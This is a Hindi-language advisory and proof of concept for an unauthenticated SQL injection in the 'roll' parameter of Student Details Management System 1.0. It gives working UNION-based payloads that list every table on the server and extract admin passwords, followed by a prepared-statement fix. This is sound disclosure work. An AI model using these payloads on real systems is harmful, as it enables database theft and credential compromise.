
प्रमाण-अवधारणा (Proof-of-Concept) Student Details Management System 1.0 में बिना प्रमाणीकरण के SQL इंजेक्शन के लिए, जो UNION-आधारित डेटा निष्कर्षण और क्रेडेंशियल चोरी का प्रदर्शन करता है।
| फ़ील्ड | विवरण |
|---|
| उत्पाद | छात्र विवरण प्रबंधन प्रणाली |
| विक्रेता | code-projects.org |
| संस्करण | 1.0 |
| भेद्यता प्रकार | SQL इंजेक्शन (CWE-89) |
| CVE ID | लंबित |
| CVSS स्कोर | 9.8 गंभीर (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| प्रमाणीकरण आवश्यक | नहीं |
| प्रभावित फ़ाइल | /SMS/index.php |
| भेद्य पैरामीटर | roll (POST) |
छात्र विवरण प्रबंधन प्रणाली 1.0 की index.php फ़ाइल में एक गंभीर SQL इंजेक्शन भेद्यता मौजूद है। POST अनुरोध के माध्यम से पारित roll पैरामीटर को बिना किसी सैनिटाइज़ेशन, इनपुट सत्यापन, या तैयार स्टेटमेंट (prepared statements) के उपयोग के सीधे एक कच्चे SQL क्वेरी में जोड़ा जाता है। यह एक बिना प्रमाणीकरण वाले दूरस्थ हमलावर को मनमाना SQL इंजेक्ट करने और UNION-आधारित डेटा निष्कर्षण करने की अनुमति देता है, जिससे क्रेडेंशियल तालिकाओं सहित संपूर्ण डेटाबेस सर्वर को डंप किया जा सकता है।
यह भेद्यता सार्वजनिक रूप से सुलभ छात्र खोज फ़ॉर्म पर मौजूद है, जिसके लिए शून्य प्रमाणीकरण की आवश्यकता होती है।
फ़ाइल: index.php (पंक्तियाँ 51–59)
include('dbcon.php');
if (isset($_POST['show'])) {
$Standard = $_POST['standard'];
$RollNo = $_POST['roll'];
$sql = "SELECT * FROM `student` WHERE `standard` = '$Standard' OR `rollno`='$RollNo'";
$result = mysqli_query($conn,$sql);
$Standard और $RollNo दोनों को बिना किसी एस्केपिंग या पैरामीटराइज़ेशन के सीधे $_POST से लिया जाता है। हमलावर SQL स्ट्रिंग संदर्भ से बाहर निकलने और मनमानी क्वेरी इंजेक्ट करने के लिए roll पैरामीटर को नियंत्रित करता है।
एप्लिकेशन के होम पेज पर नेविगेट करें और एक मान्य रोल नंबर दर्ज करें:
http://<TARGET>/SMS/index.php
रोल नंबर फ़ील्ड में 1001 दर्ज करें → एप्लिकेशन सामान्य रूप से छात्र रिकॉर्ड लौटाता है।

रोल नंबर फ़ील्ड में एक एकल उद्धरण ' दर्ज करें और SHOW INFO पर क्लिक करें।
परिणाम: MariaDB एक घातक त्रुटि फेंकता है जो कच्ची SQL क्वेरी और फ़ाइल पथ को उजागर करती है:
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near '"' at line 1 in
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php:59

पेलोड:
' or 1=1 -- -
परिणाम: डेटाबेस में सभी छात्र रिकॉर्ड बिना किसी मान्य रोल नंबर के लौटाए जाते हैं, जो पुष्टि करता है कि इंजेक्शन शोषण योग्य है।

Burp Suite अनुरोध:
POST /STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/SMS/index.php HTTP/1.1
Host: 192.168.0.9
Content-Type: application/x-www-form-urlencoded
roll=1001' union select null,null,table_name,null,null,null,null from information_schema.tables -- -&standard=SELECT+STANDARD&show=SHOW+INFO
परिणाम: name कॉलम (UNION में स्थिति 3) MySQL इंस्टेंस पर सभी डेटाबेसों में हर तालिका का नाम वापस दर्शाता है — जिसमें admin, global_priv, users, mysql.user और उसी XAMPP इंस्टेंस पर स्थापित कई अन्य एप्लिकेशनों की क्रेडेंशियल तालिकाएँ शामिल हैं।

डंप उसी सर्वर पर अन्य डेटाबेसों से admin, users, global_priv और tbl_admin सहित संवेदनशील तालिकाओं को प्रकट करता है। एक हमलावर निम्नलिखित के साथ क्रेडेंशियल निकाल सकता है:
roll=1' union select null,null,password,null,null,null,null from admin-- -
विस्तृत त्रुटि आउटपुट (चरण 2) के साथ संयुक्त, पूर्ण फ़ाइल पथ प्रकटीकरण की भी पुष्टि होती है:
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php
admin तालिका डंप के माध्यम सेबाध्य पैरामीटरों के साथ तैयार स्टेटमेंट (prepared statements) का उपयोग करें:
$stmt = $conn->prepare("SELECT * FROM `student` WHERE `standard` = ? OR `rollno` = ?");
$stmt->bind_param("ss", $Standard, $RollNo);
$stmt->execute();
$result = $stmt->get_result();
इसके अतिरिक्त, उत्पादन में php.ini में display_errors = Off सेट करके विस्तृत PHP/MySQL त्रुटि आउटपुट अक्षम करें।
शोधकर्ता: इमाद अल्वी